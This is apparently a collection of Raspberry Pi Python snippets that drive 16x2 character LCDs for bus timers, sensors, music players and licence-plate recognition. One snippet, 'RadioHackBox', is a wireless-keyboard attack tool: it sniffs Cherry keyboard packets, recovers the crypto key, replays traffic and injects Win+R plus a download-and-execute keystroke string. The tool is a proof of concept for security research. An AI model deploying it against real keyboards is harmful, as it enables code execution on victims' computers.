class LCD_Display(object): """docstring for LCD_Display This class is for the 16 x 2 LCD component """ def __init__(self, cols=16, rows=2, rs=37, e=35, data_pins=[33, 31, 29, 23], mode='BOARD'): GPIO.setwarnings(False) if mode == 'BCM': self.lcd = CharLCD(cols=cols, rows=rows, pin_rs=rs, pin_e=e, pins_data=data_pins, numbering_mode=GPIO.BCM) else: self.lcd = CharLCD(cols=cols, rows=rows, pin_rs=rs, pin_e=e, pins_data=data_pins, numbering_mode=GPIO.BOARD) def display_string(self, string, clear='N', pos=(0, 0)): if clear == 'Y': self.lcd.clear() else: pass self.lcd.cursor_pos = pos self.lcd.write_string(string)
class PiLcdDisplay(ScreenDisplay): def __init__(self, lines=1, line_length=5, update_interval=1): super(PiLcdDisplay, self).__init__(lines, line_length, update_interval) self.timer = None def start(self): ''' Start the LCD display update loop ''' self.lcd = CharLCD(pin_rs=26, pin_e=24, pins_data=[22,18,16,12]) self.lcd.clear() self.next_call = time.time() self.update() def update(self): ''' LCD display update loop ''' super(PiLcdDisplay, self).update() self.update_lcd() self.next_call = self.next_call + self.update_interval self.timer = threading.Timer(self.next_call - time.time(), self.update) self.timer.start() def update_lcd(self): ''' Update the LCD display ''' for i in range(self.lines): self.lcd.cursor_pos = (i, 0) self.lcd.write_string(self.displayed_info[i]) def close(self): ''' Close the LCD display ''' if self.timer != None: self.timer.cancel()
class LCD: def __init__(self): GPIO.setwarnings(False) self.lcd = CharLCD(numbering_mode=GPIO.BOARD, cols=16, rows=2, pin_rs=40, pin_e=38, pins_data=[36, 37, 35, 33]) self.lcd.cursor_mode = 'hide' self.lcd.create_char(0, full_square) def write(self, code, seconds_remaining): ''' Keyword arguments: code -- the code to be displayed seconds_remaining -- the seconds remaining (max 16) ''' self.clear() # Center code horizontally LCD_WIDTH = 16 lcd_y = (LCD_WIDTH - len(str(code))) // 2 self.lcd.cursor_pos = (0, lcd_y) self.lcd.write_string(code) self.lcd.cursor_pos = (1, 0) self.lcd.write_string(chr(0) * seconds_remaining) def clear(self): self.lcd.clear()
class Display: def setup(self): GPIO.setmode(GPIO.BCM) self.lcd = CharLCD(cols=16, rows=2, pin_rs=6, pin_e=5, pins_data=[13, 19, 26, 1], numbering_mode=GPIO.BCM) self.lcd.cursor_mode = 'hide' print("Display setup finished") def clear(self): self.lcd.clear() return def show_text(self, text, line=1): if line == 1: self.lcd.cursor_pos = (0, 0) self.lcd.write_string(" ") self.lcd.cursor_pos = (0, 0) self.lcd.write_string(text) elif line == 2: self.lcd.cursor_pos = (1, 0) self.lcd.write_string(" ") self.lcd.cursor_pos = (1, 0) self.lcd.write_string(text)
def main(): lcd = CharLCD(numbering_mode=GPIO.BOARD, cols=16, rows=2, pin_rs=37, pin_e=35, pins_data=[33, 31, 29, 23]) lcd.clear() lcd.cursor_pos = (0, 0) lcd.write_string(u'Scannez un tube') code = '' GPIO.setup(3, GPIO.IN) GPIO.add_event_detect(3, GPIO.BOTH, callback=close) while (True): inkey = Getch() k = inkey() if ord(k) == 27: GPIO.cleanup() call(['shutdown', 'now']) #quit() elif k == '\r': lcd.clear() lcd.cursor_pos = (0, 0) lcd.write_string(code) sleep(5) code = '' lcd.cursor_pos = (0, 0) lcd.write_string(u'Scannez un tube') elif k != '': code += k
class PiLcdDisplay(ScreenDisplay): def __init__(self, lines=1, line_length=5, update_interval=1): super(PiLcdDisplay, self).__init__(lines, line_length, update_interval) self.timer = None def start(self): ''' Start the LCD display update loop ''' self.lcd = CharLCD(pin_rs=26, pin_e=24, pins_data=[22, 18, 16, 12]) self.lcd.clear() self.next_call = time.time() self.update() def update(self): ''' LCD display update loop ''' super(PiLcdDisplay, self).update() self.update_lcd() self.next_call = self.next_call + self.update_interval self.timer = threading.Timer(self.next_call - time.time(), self.update) self.timer.start() def update_lcd(self): ''' Update the LCD display ''' for i in range(self.lines): self.lcd.cursor_pos = (i, 0) self.lcd.write_string(self.displayed_info[i]) def close(self): ''' Close the LCD display ''' if self.timer != None: self.timer.cancel()
def main(BUS_STOP_CODE): lcd = CharLCD(cols=16, rows=2, pin_rs=37, pin_e=35, pins_data=[33, 31, 29, 23], numbering_mode=GPIO.BOARD) bus_api = DatamallApiClient() while True: buses = bus_api.bus_at_busstop_code(BUS_STOP_CODE) for bus_num, bus_timings in buses.items(): display_string = '' if len(bus_timings) == 0: display_string = f"Bus {bus_num}: NOT\r\nAVAILABLE" if len(bus_timings) == 1: display_string = f"Bus {bus_num}: {bus_timings[0]}\r\nLAST BUS" if len(bus_timings) == 2: display_string = f"Bus {bus_num}: {bus_timings[0]}\r\n{bus_timings[1]}" if len(bus_timings) == 3: display_string = f"Bus {bus_num}: {bus_timings[0]}\r\n{bus_timings[1]}, {bus_timings[1]}" #print(display_string) lcd.clear() time.sleep(1) # to make change in info visible in screen lcd.write_string(display_string) time.sleep(5) time.sleep( 5 ) # in case of no items, do not send request in loop so fast to DatamallApi.
def write_to_lcd(ifname): lcd = CharLCD() lcd.clear() lcd.home() lcd.write_string(get_hostname()) lcd.cursor_pos = (1, 0) lcd.write_string(get_device_type()) lcd.cursor_pos = (2, 0) lcd.write_string(get_ip_address(ifname))
class Display(SensorListener, SwitchListener): sensor_names: List[str] switch_names: List[str] def __post_init__(self) -> None: self.logger = logging.getLogger(__name__) self.logger.info("Initiating LCD") # Use compatibility mode to avoid driver timing issues https://github.com/dbrgn/RPLCD/issues/70 self.lcd = CharLCD(compat_mode=True, numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=22, pin_e=17, pins_data=[26, 19, 13, 6]) self.lcd.cursor_mode = 'hide' self.lcd.clear() self.write_lock = Lock() def handle_switch(self, name: str, on: bool) -> None: if name not in self.switch_names: self.logger.warning("'%s' is not configured to be printed to lcd", name) return x = floor(self.switch_names.index(name) / 2) y = self.switch_names.index(name) % 2 self.__write(14 + x, y, name[0].upper() if on else " ") def handle_temperature(self, name: str, temperature: float, avg_temperature: float) -> None: if name not in self.sensor_names: self.logger.warning( "Device '%s' is not configured to be printed to LCD", name) return y = floor(self.sensor_names.index(name) / 2) x = (self.sensor_names.index(name) - 2 * y) * 7 self.__write(x, y, "%s %s" % (name[0].upper(), round(temperature, 1))) def __write(self, x, y, text) -> None: self.logger.debug("Writing '%s' to LCD at (%s,%s)", text, x, y) with self.write_lock: self.lcd.cursor_pos = (y, x) self.lcd.write_string(text) def shutdown(self) -> None: self.logger.info("Shutting down LCD") self.lcd.close(clear=True)
class lcd: def __init__(self,cols=16,rows=2): self.cols,self.rows= cols,rows self.blink=False self.data=None self.data_name=None self.time_last_packet=0 self.recieve_timeout=None GPIO.setmode(GPIO.BCM) self.screen = CharLCD(numbering_mode=GPIO.BCM,cols=self.cols, rows=self.rows, pin_rs=16, pin_e=18, pins_data=[23, 24, 2, 3]) def prompt(self,text,text2=""): self.screen.clear() self.write(text) self.screen.cursor_pos = (1,0) self.write(text2) def write(self,text): print(self.screen.cursor_pos,text) self.screen.write_string(text[:self.cols]) def format_number(self,number,digits): output=digit(number,digits) if len(output)>digits: output="9" while(len(output)<digits): output+="9" return output def recieve_packets(self): self.screen.clear() self.write("R LP:"+self.format_number(time()-self.time_last_packet,2)+"s") if(self.recieve_timeout!=None): remaining_time=self.recieve_timeout-time() self.cursor_pos=(0,9) self.write("TO:"+self.format_number(remaining_time,3)+"s") if self.data_name!=None and self.data!=None: self.screen.cursor_pos = (1,0) self.write(self.data_name+": ") data_digits=self.cols-len(self.data_name) data=self.format_number(self.data,data_digits) self.screen.cursor_pos = (1,self.cols-data_digits) self.write(data) if self.blink: self.screen.cursor_pos = (0,1) self.write(".") self.blink=False else: self.blink=True
def LCD_screen(): while True: lcd = CharLCD(cols=16, rows=2, pin_rs=19, pin_e=26, numbering_mode=GPIO.BCM, pins_data=[17, 27, 22, 5, 12, 25, 24, 23]) string = (subprocess.check_output(["hostname", "-I"]).split()[1]).decode('ascii') lcd.write_string(f'{string}') time.sleep(30) lcd.clear()
def lcd_init(): global lcd pin_rs = 21 # Board: 40 pin_e = 20 # Board: 38 pins_data = [16, 26, 19, 13] # Board: 36, 37, 35, 33 lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=pin_rs, pin_rw=None, pin_e=pin_e, pins_data=pins_data) lcd.clear()
class Lcd: def __init__(self, rs_pin, e_pin, data_pins): GPIO.setwarnings(False) self.lcd = CharLCD(cols=16, rows=2, pin_rs=rs_pin, pin_e=e_pin, \ pins_data=data_pins , numbering_mode=GPIO.BOARD) self.lcd.clear() self.lock = threading.Lock() def write(self, lines): with self.lock: self.lcd.clear() self.lcd.write_string(lines[0][:16].upper()) if len(lines) == 2: self.lcd.cursor_pos = (1, 0) self.lcd.write_string(lines[1][:16].upper())
def main(): # initialize lcd screen lcd = CharLCD(cols=16, rows=2, pin_rs=37, pin_e=35, pins_data=[33, 31, 29, 23]) # DHT22 sensor is only accurate to +/- 2% humidity and +/- 0.5 celsius # Poll 10 times and calculate median to get more accurate value templist = [] humidlist = [] lcd.cursor_pos = (0, 0) lcd.write_string("Polling...") lcd.cursor_pos = (1, 0) bar = "[----------]" lcd.write_string(bar) lcd.clear() for i in range(1, 11): data = poll() lcd.cursor_pos = (0, 0) lcd.write_string("Polling....") lcd.cursor_pos = (1, 0) bar = list(bar) bar[i] = '#' bar = ''.join(bar) lcd.write_string(bar) # Don't poll more often than every 2 seconds sleep(3) lcd.clear() temp = int(round(data[0])) humid = int(round(data[1])) templist.append(temp) humidlist.append(humid) lcd.clear() # Calculate median value temp = (sorted(templist))[5] humid = (sorted(humidlist))[5] # Display results to LCD display(lcd, temp, humid) # Write data to CSV file for later analysis write_data(temp, humid) # Clears the screen / resets cursor position and closes connection lcd.clear() lcd.close(clear=True)
def main(): iterations = 300 interval = 0.1 print("starting {} second collection".format(iterations * interval)) sensor1 = SonicSensor(trig_pin=18, echo_pin=24, numbering_mode=GPIO.BCM) sensor2 = SonicSensor(trig_pin=16, echo_pin=12, numbering_mode=GPIO.BCM) lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=21, pin_e=20, pins_data=[5, 7, 8, 25, 26, 19, 13, 6]) results1 = [] results2 = [] try: for i in range(iterations): dist1 = sensor1.get_distance() dist2 = sensor2.get_distance() results1.append(dist1) results2.append(dist2) lcd.write_string(u'%.1f cm' % dist2) print(u'%.1f cm' % dist2) lcd.write_string(u'\n%.1f cm' % dist1) print(u'%.1f cm' % dist1) time.sleep(interval) lcd.clear() except KeyboardInterrupt: pass GPIO.cleanup() with open('results.pickle', 'wb') as file: pickle.dump((results1, results2), file)
class Display(): def __init__(self, *args, **kwargs): self.lcd = CharLCD(*args, **kwargs) def displayCode(self, code): """ displays the code being typed. code is a list of numbers """ strCode = "" for num in code: strCode += str(num) self.clear() self.lcd.write_string(strCode) def writeMessage(self, msg): """ write a message to the LCD """ self.clear() self.lcd.write_string(msg) def clear(self): """ clears the LCD """ self.lcd.clear()
def main(): try: rotary = RotaryEncoder(dt_pin=3, clk_pin=4) rotary.start() button = Button(pin=2) lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=21, pin_e=20, pins_data=[5, 7, 8, 25, 26, 19, 13, 6]) while True: if button.pressed(): break lcd.clear() lcd.write_string(u'{}'.format(rotary.get_count())) time.sleep(0.1) except KeyboardInterrupt: # Ctrl-C to terminate the program pass print("stopped at {}".format(rotary.get_count())) rotary.stop() GPIO.cleanup()
class RadioHackBox(): """Radio Hack Box""" def __init__(self): """Initialize the nRF24 radio and the Raspberry Pi""" self.state = IDLE # current state self.lcd = None # LCD self.radio = None # nRF24 radio self.address = None # address of Cherry keyboard (CAUTION: Reversed byte order compared to sniffer tools!) self.channel = 6 # used ShockBurst channel (was 6 for all tested Cherry keyboards) self.payloads = [] # list of sniffed payloads self.kbd = None # keyboard for keystroke injection attacks try: # disable GPIO warnings GPIO.setwarnings(False) # initialize LCD self.lcd = CharLCD(cols=16, rows=2, pin_rs=15, pin_rw=18, pin_e=16, pins_data=[21, 22, 23, 24]) self.lcd.clear() self.lcd.home() self.lcd.write_string(APP_NAME) self.lcd.cursor_pos = (1, 0) self.lcd.write_string(SYSS_BANNER) # use Raspberry Pi board pin numbers GPIO.setmode(GPIO.BOARD) # set up the GPIO pins GPIO.setup(RED_LED, GPIO.OUT, initial = GPIO.LOW) GPIO.setup(GREEN_LED, GPIO.OUT, initial = GPIO.LOW) GPIO.setup(BLUE_LED, GPIO.OUT, initial = GPIO.LOW) GPIO.setup(RECORD_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) GPIO.setup(REPLAY_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) GPIO.setup(ATTACK_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) GPIO.setup(SCAN_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) # set callcack functions GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) GPIO.add_event_detect(REPLAY_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) GPIO.add_event_detect(ATTACK_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) GPIO.add_event_detect(SCAN_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) # initialize radio self.radio = nrf24.nrf24() # enable LNA self.radio.enable_lna() # show startup info for some time with blinkenlights self.blinkenlights() # start scanning mode self.setState(SCAN) except: # error when initializing Radio Hack Box self.lcd.clear() self.lcd.home() self.lcd.write_string(u"Error: 0xDEAD") self.lcd.cursor_pos = (1, 0) self.lcd.write_string(u"Please RTFM!") def blinkenlights(self): """Blinkenlights""" for i in range(10): GPIO.output(RED_LED, GPIO.HIGH) GPIO.output(GREEN_LED, GPIO.HIGH) GPIO.output(BLUE_LED, GPIO.HIGH) sleep(0.1) GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) sleep(0.1) def setState(self, newState): """Set state""" # set LCD content self.lcd.clear() self.lcd.home() self.lcd.write_string(APP_NAME) self.lcd.cursor_pos = (1, 0) if newState == RECORD: # set RECORD state self.state = RECORD # set LEDs GPIO.output(RED_LED, GPIO.HIGH) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Recording ...") elif newState == REPLAY: # set REPLAY state self.state = REPLAY # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.HIGH) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Replaying ...") elif newState == SCAN: # set SCAN state self.state = SCAN # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.HIGH) # set LCD content self.lcd.write_string(u"Scanning ...") elif newState == ATTACK: # set ATTACK state self.state = ATTACK # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.HIGH) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Attacking ...") elif newState == SHUTDOWN: # set SHUTDOWN state self.state = SHUTDOWN # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Shutdown ...") else: # set IDLE state self.state = IDLE # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(SYSS_BANNER) def buttonCallback(self, channel): """Callback function for user input (pressed buttons)""" # record button state transitions if channel == RECORD_BUTTON: # if the current state is IDLE change it to RECORD if self.state == IDLE: # set RECORD state self.setState(RECORD) # empty payloads list self.payloads = [] # if the current state is RECORD change it to IDLE elif self.state == RECORD: # set IDLE state self.setState(IDLE) # play button state transitions elif channel == REPLAY_BUTTON: # if the current state is IDLE change it to REPLAY if self.state == IDLE: # set REPLAY state self.setState(REPLAY) # scan button state transitions elif channel == SCAN_BUTTON: # wait a short a time to see whether the record button is also # press in order to perform a graceful shutdown # remove event detection for record button GPIO.remove_event_detect(RECORD_BUTTON) chan = GPIO.wait_for_edge(RECORD_BUTTON, GPIO.RISING, timeout=1000) if chan != None: # set SHUTDOWN state self.setState(SHUTDOWN) # set callback function for record button GPIO.remove_event_detect(RECORD_BUTTON) GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) # if the current state is IDLE change it to SCAN if self.state == IDLE: # set SCAN state self.setState(SCAN) # attack button state transitions elif channel == ATTACK_BUTTON: # if the current state is IDLE change it to ATTACK if self.state == IDLE: # set ATTACK state self.setState(ATTACK) # debug output debug("State: {0}".format(self.state)) def unique_everseen(self, seq): """Remove duplicates from a list while preserving the item order""" seen = set() return [x for x in seq if str(x) not in seen and not seen.add(str(x))] def run(self): # main loop try: while True: if self.state == RECORD: # info output info("Start RECORD mode") # receive payload value = self.radio.receive_payload() if value[0] == 0: # split the payload from the status byte payload = value[1:] # add payload to list self.payloads.append(payload) # info output, show packet payload info('Received payload: {0}'.format(hexlify(payload))) elif self.state == REPLAY: # info output info("Start REPLAY mode") # remove duplicate payloads (retransmissions) payloadList = self.unique_everseen(self.payloads) # replay all payloads for p in payloadList: # transmit payload self.radio.transmit_payload(p.tostring()) # info output info('Sent payload: {0}'.format(hexlify(p))) # set IDLE state after playback sleep(0.5) # delay for LCD self.setState(IDLE) elif self.state == SCAN: # info output info("Start SCAN mode") # put the radio in promiscuous mode self.radio.enter_promiscuous_mode(PREFIX_ADDRESS) # define channels for scan mode channels = [6] # set initial channel self.radio.set_channel(channels[0]) # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode last_tune = time() channel_index = 0 while True: # increment the channel if len(channels) > 1 and time() - last_tune > DWELL_TIME: channel_index = (channel_index + 1) % (len(channels)) self.radio.set_channel(channels[channel_index]) last_tune = time() # receive payloads value = self.radio.receive_payload() if len(value) >= 5: # split the address and payload address, payload = value[0:5], value[5:] # convert address to string and reverse byte order converted_address = address[::-1].tostring() # check if the address most probably belongs to a Cherry keyboard if ord(converted_address[0]) in range(0x31, 0x3f): # first fit strategy to find a Cherry keyboard self.address = converted_address break # set LCD content self.lcd.clear() self.lcd.home() self.lcd.write_string("Found keyboard") self.lcd.cursor_pos = (1, 0) address_string = ':'.join('{:02X}'.format(b) for b in address) self.lcd.write_string(address_string) # info output info("Found keyboard with address {0}".format(address_string)) # put the radio in sniffer mode (ESB w/o auto ACKs) self.radio.enter_sniffer_mode(self.address) last_key = 0 packet_count = 0 while True: # receive payload value = self.radio.receive_payload() if value[0] == 0: # do some time measurement last_key = time() # split the payload from the status byte payload = value[1:] # increment packet count packet_count += 1 # show packet payload info('Received payload: {0}'.format(hexlify(payload))) # heuristic for having a valid release key data packet if packet_count >= 4 and time() - last_key > SCAN_TIME: break self.radio.receive_payload() # show info on LCD self.lcd.cursor_pos = (1, 0) self.lcd.write_string(u"Got crypto key!") # info output info('Got crypto key!') # initialize keyboard self.kbd = keyboard.CherryKeyboard(payload.tostring()) info('Initialize keyboard') # set IDLE state after scanning sleep(LCD_DELAY) # delay for LCD self.setState(IDLE) elif self.state == ATTACK: # info output info("Start ATTACK mode") if self.kbd != None: # # send keystrokes for a classic PoC attack # keystrokes = [] # keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) # keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) # keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) # keystrokes += self.kbd.getKeystrokes(u"cmd") # keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) # keystrokes += self.kbd.getKeystrokes(u"rem All your base are belong to SySS!") # keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) # send keystrokes for a classic download and execute PoC attack keystrokes = [] keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) # send attack keystrokes for k in keystrokes: self.radio.transmit_payload(k) # info output info('Sent payload: {0}'.format(hexlify(k))) # need small delay after WIN + R sleep(0.1) keystrokes = [] keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) # send attack keystrokes with a small delay for k in keystrokes: self.radio.transmit_payload(k) # info output info('Sent payload: {0}'.format(hexlify(k))) # set IDLE state after attack sleep(0.5) # delay for LCD self.setState(IDLE) elif self.state == SHUTDOWN: # info output info("SHUTDOWN") sleep(0.5) # perform graceful shutdown command = "/usr/bin/sudo /sbin/shutdown -h now" process = subprocess.Popen(command.split(), stdout=subprocess.PIPE) output = process.communicate()[0] # show info on LCD self.lcd.clear() self.lcd.home() self.lcd.write_string(APP_NAME) self.lcd.cursor_pos = (1, 0) self.lcd.write_string("3, 2, 1, gone.") # clean GPIO pin settings GPIO.cleanup() exit(1) except KeyboardInterrupt: exit(1) finally: # clean up GPIO pin settings GPIO.cleanup()
curSongInfo = mpdclient.currentsong() framebuffer = [ 'MPD Playing:', '', ] artist = curSongInfo['artist'] title = curSongInfo['title'] curSongString = artist + ' - ' + title curSongString = unicode(curSongString, "utf-8") curSongString = unidecode.unidecode(curSongString) loop_string(curSongString, lcd, framebuffer, 1, 16) status = 'main' if __name__ == '__main__': try: main() except KeyboardInterrupt: pass finally: lcd.clear() GPIO.cleanup() atexit.register(lcd.clear()) atexit.register(GPIO.cleanup())
lcd = CharLCD(cols=20, rows=4, pin_rw=None, pin_rs=21, pin_e=20, pins_data=[18,23,24,25], #d4, d5, d6, d7 numbering_mode=GPIO.BCM) lcd.cursor_mode = CursorMode.blink my_cmd = "" my_username = getpass.getuser() my_perl = "" lcd.write_string("Press ENTER for LCD terminal") print "\nPress ENTER for LCD terminal\n"; my_wait = subprocess.check_output("/etc/wait.pl ",shell=True) if my_wait == "Timeout": lcd.clear() my_name = subprocess.check_output("hostname -A",shell=True) lcd.cursor_pos = (0,0) lcd.write_string(my_name) my_ip = subprocess.check_output("hostname -I",shell=True) lcd.cursor_pos = (2,0) lcd.write_string(my_ip) lcd.cursor_mode = CursorMode.hide exit(0) while my_perl != "Success!": lcd.clear() my_name = subprocess.check_output("hostname -A",shell=True) lcd.write_string(my_name) lcd.cursor_pos = (1,0) my_ip = subprocess.check_output("hostname -I",shell=True) lcd.write_string(my_ip)
class CVProcessor: F_SCALE = 1 output_pin = 4 # PITIDO O LED DE SIGNAL output_pin_puerta = 27 # PITIDO O LED DE SIGNAL THRESHOLD_RECOGNITION = 0.425 THRESHOLD_DETECTION = 0.3 INTERPOLATION_TYPE = cv2.INTER_CUBIC WIDTH = 1080 HEIGHT = 1080 MIN_SIZE_ALLOWED = 120 REBOOT_TIME_GAP = 5 REBOOT_TIME_PUERTA = 5 * 60 OFFSET_BBOX_WIDTH = 1 #.15#1.25 OFFSET_BBOX_HEIGHT_UP = 1 #.15#1.5 OFFSET_BBOX_HEIGHT_DOWN = 1 #.15#1.3 SAME_NAME_REQUIRED_COUNT = 1 SAME_NAME_REQUIRED_COUNT_UNKNOWN = 12 tiny = True iou_threshold = 0.2 confidence_threshold = 0.3 VARIANCE_OF_LAPLACIAN_THRESHOLD = 100 # HD IMAGES HAS MORE THAN 100 OF BLUR VALUE UNKNOWN_NAME = "Procesando" PATH_RESULTS = 'results' GPIO.setmode(GPIO.BCM) lista_clases = ['car', 'motorcycle', 'bus', 'train', 'truck'] lcd = CharLCD(cols=16, rows=2, pin_rs=11, pin_e=5, pins_data=[6, 13, 19, 26], numbering_mode=GPIO.BCM) logger = Logger("CVProcessor") def __init__(self): CVProcessor.logger.info("Loading") if not os.path.exists(CVProcessor.PATH_RESULTS): os.mkdir(CVProcessor.PATH_RESULTS) if not os.path.exists(CVProcessor.PATH_RESULTS + '/Desconocido'): os.mkdir(CVProcessor.PATH_RESULTS + '/Desconocido') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/par'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/par') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/impar'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/impar') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/par/legal'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/par/legal') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/impar/legal'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/impar/legal') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/par/ilegal'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/par/ilegal') if not os.path.exists(CVProcessor.PATH_RESULTS + '/Reconocido/impar/ilegal'): os.mkdir(CVProcessor.PATH_RESULTS + '/Reconocido/impar/ilegal') GPIO.setup(self.output_pin, GPIO.OUT, initial=GPIO.LOW) GPIO.setup(self.output_pin_puerta, GPIO.OUT, initial=GPIO.LOW) CVProcessor.logger.info('Starting GPIO JETSON NANO') self.cls_dict = get_cls_dict('coco') self.trt_ssd = TrtSSD('ssd_mobilenet_v2_coco', (300, 300)) self.alpr = Alpr("us", "/etc/openalpr/openalpr.conf", "runtime_data/") if not self.alpr.is_loaded(): CVProcessor.logger.info("Error loading OpenALPR") sys.exit(1) self.alpr.set_top_n(20) self.alpr.set_default_region("dm") #"be" self.class_names = [] for i in range(len(self.cls_dict)): self.class_names.append(self.cls_dict[i]) all_names = "" for i in self.class_names: all_names += " " + i CVProcessor.logger.info("Classes names") CVProcessor.logger.info(all_names) self.last_reboot = 0 self.car_names = {} self.tracker = Tracker() self.count = 0 self.colors = {} self.times = {} self.car_detected_count = {} self.car_detected_names = {} self.working_lock = threading.Lock() self.font_scale = 1.5 self.font = cv2.FONT_HERSHEY_PLAIN self.text = "Hermano. = 12" (self.text_width, self.text_height) = cv2.getTextSize(self.text, self.font, fontScale=self.font_scale, thickness=1)[0] self.recognizer = Recognizer(self) CVProcessor.logger.info("Loaded") def get_locations_car(self, frame, class_names): boxes, confs, clss = self.trt_ssd.detect(frame, 0.3) cordenadas_xy = [] names_xy = [] scores = [] for bb, cf, cl in zip(boxes, confs, clss): cl = int(cl) cls_name = class_names[cl] color = (0, 0, 255) if (cls_name in self.lista_clases): xy = [bb[0], bb[1], bb[2], bb[3]] cordenadas_xy.append(xy) names_xy.append(cls_name) scores.append(cf) cordenadas_xy = np.array(cordenadas_xy) cordenadas_xy = non_max_suppression_fast(cordenadas_xy, 0.3) return cordenadas_xy, names_xy def process(self, image): start = time.time() frame_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) car_locations, names_xdxd = self.get_locations_car( image, self.class_names) predictions = self.tracker.predict(car_locations) self.process_predictions(image, frame_rgb, predictions) if time.time() - self.last_reboot >= CVProcessor.REBOOT_TIME_GAP: self.reboot_algorithm() #if time.time() - self.last_reboot_download_json >= CVProcessor.REBOOT_TIME_PUERTA: # self.download_datajson() self.count += 1 # Display the resulting image fps = time.time() - start today = datetime.datetime.today() dia = today.weekday() if dia in [0, 2]: PERMITIDO = 'EVEN' if dia in [1, 3]: PERMITIDO = 'ODD' if dia in [4, 5, 6]: PERMITIDO = 'ALL' fps = 'FPS :' + str(round(1 / fps, 1)) + ' ALLOW:' + PERMITIDO text_offset_x = 50 text_offset_y = 50 box_coords = ((text_offset_x, text_offset_y), (text_offset_x + int(self.text_width * 1.25) - 2, text_offset_y - int(self.text_height * 1.25) - 2)) cv2.rectangle(image, box_coords[0], box_coords[1], (255, 255, 255), cv2.FILLED) cv2.putText(image, fps, (50, 50), self.font, 1.25, (150, 0, 150), 2) #image = cv2.resize(image, (1240, 1000), interpolation = CVProcessor.INTERPOLATION_TYPE) return image def process_predictions(self, frame, frame_rgb, predictions): id_not_found = [] locations = [] #names_ids = [] id_unknowns = [] for id_xd, pre in enumerate(predictions): arreglo = np.array(pre, dtype=int) arreglo[arreglo < 0] = 0 [x1, y1, x2, y2, id] = arreglo if id not in self.car_names.keys() or ( id in self.car_names and self.car_names[id] == CVProcessor.UNKNOWN_NAME): id_unknowns.append(id) y1aux = int((y2 + y1) / 2 - (y2 - y1) * CVProcessor.OFFSET_BBOX_HEIGHT_UP / 2) y2aux = int((y2 + y1) / 2 + (y2 - y1) * CVProcessor.OFFSET_BBOX_HEIGHT_DOWN / 2) x1aux = int((x2 + x1) / 2 - (x2 - x1) * CVProcessor.OFFSET_BBOX_WIDTH / 2) x2aux = int((x2 + x1) / 2 + (x2 - x1) * CVProcessor.OFFSET_BBOX_WIDTH / 2) arreglo = np.array([x1aux, y1aux, x2aux, y2aux], dtype=int) arreglo[arreglo < 0] = 0 locations.append(arreglo) color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) self.colors[id] = color text_offset_x = int(x1) text_offset_y = int(y1 + 4) box_coords = ((text_offset_x, text_offset_y), (text_offset_x + int(self.text_width) - 2, text_offset_y - int(self.text_height) - 2)) if id in self.car_names.keys(): try: cv2.rectangle(frame, box_coords[0], box_coords[1], self.colors[id], cv2.FILLED) espesor = 6 if self.car_names[id] != 'Procesando' else 3 cv2.rectangle(frame, (x1, y1), (x2, y2), 